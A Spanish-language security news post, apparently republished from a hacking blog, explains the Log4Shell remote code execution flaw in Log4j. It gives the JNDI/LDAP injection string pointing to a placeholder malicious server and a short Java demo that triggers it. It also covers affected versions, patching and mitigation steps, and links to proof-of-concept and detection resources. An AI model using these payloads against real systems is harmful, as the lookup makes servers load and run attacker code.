RCE en Log4j (#log4shell): sencillo de explotar y presente en numerosas apps hackplayers

Recientemente se ha publicado un exploit de día 0 en log4j, la popular librería de Java desarrollada por la Apache Foundation que da como resultado la ejecución remota de código (RCE) al loggear una determinada cadena con la sintaxis ${jndi:ldap://servidor_malicioso/exp}. Así de sencillo:

Minecraft

Ghidra

Apache Struts2

Apache Solr

Más (y la lista sigue creciendo) en: https://github.com/YfryTchsGD/Log4jAttackSurface

Como veis, debido a la incorrecta validación de log4j es posible aprovecharse de este bug y a través de JDNI y LDAP ejecutar cualquier código sin autenticación previa.
Además, y lo más importante, es que encontraremos numerosas apps que utilizan log4j, desde Minecraft hasta Elasticsearch, Zrails, Hadoop, Kafka, Kibana, Solr, Spark, Struts, Tapestry, Wicket… y la lista va creciendo y creciendo…

Otro ejemplo llamando directamente al logger:

package demo; import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger; public class demo { public static Logger logger= LogManager.getLogger(); public static void main(String[] args){ System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); logger.error("${jndi:ldap://servidor/vvt4s5}"); }
}

Lo más loco de la vulnerabilidad en log4j es la cantidad de formas en que un atacante puede explotarlo; cualquier entrada que eventualmente pueda escribirse en un archivo de log es un canal potencial. La creatividad del atacante es el límite 😉

La vulnerabilidad que afecta a Log4j 2.0-beta9 hasta 2.14.1, ya ha sido bautizada con CVE-2021-44228 o log4shell.

Varias publicaciones recientes parecen indicar que versiones de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se ven afectadas por el vector de ataque del LDAP, es decir, en dichas versiones com.sun.jndi.ldap.object.trustURLCodebase está puesto a false por lo que JNDI no puede cargar codebase remotamente a través LDAP.

En cualquier caso, para todos es CRÍTICO parchear o llevar a cabo los pasos de mitigación disponibles:

  • Apache ya ha lanzado Log4j 2.15.0 para corregir la vulnerabilidad.
  • El bug también se puede mitigar en versiones anteriores (2.10 y posteriores) estableciendo la propiedad del sistema «log4j2.formatMsgNoLookups» en «true» o eliminando la clase JndiLookup del classpath.

Seguiremos atentos a esta vulnerabilidad que seguro traerá bastante repercusión (y consecuencias) durante los próximos días.

PoCs:

https://github.com/tangxiaofeng7/apache-log4j-poc
https://github.com/rabbitsafe/Apache-Log4j_RCE

Detección:

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

Fuentes:

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://www.bleepingcomputer.com/news/security/new-zero-day-exploit-for-log4j-java-library-is-an-enterprise-nightmare/
https://www.cert.govt.nz/it-specialists/advisories/log4j-rce-0-day-actively-exploited/

Fuente obtenida de: https://www.hackplayers.com/2021/12/ce-en-log4j-log4shell-simple-exploit.html

Compartelo en las redes sociales

Compartir en facebook Compartir en google+ Compartir en twitter Compartir en pinterest Compartir en likedin Compartir en WhatsApp

Sobre Kamal Majaiti 1567 artículos
Administrador de sistemas e informático por vocación.

Sé el primero en comentar

Dejar una contestacion

Tu dirección de correo electrónico no será publicada.


*


Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.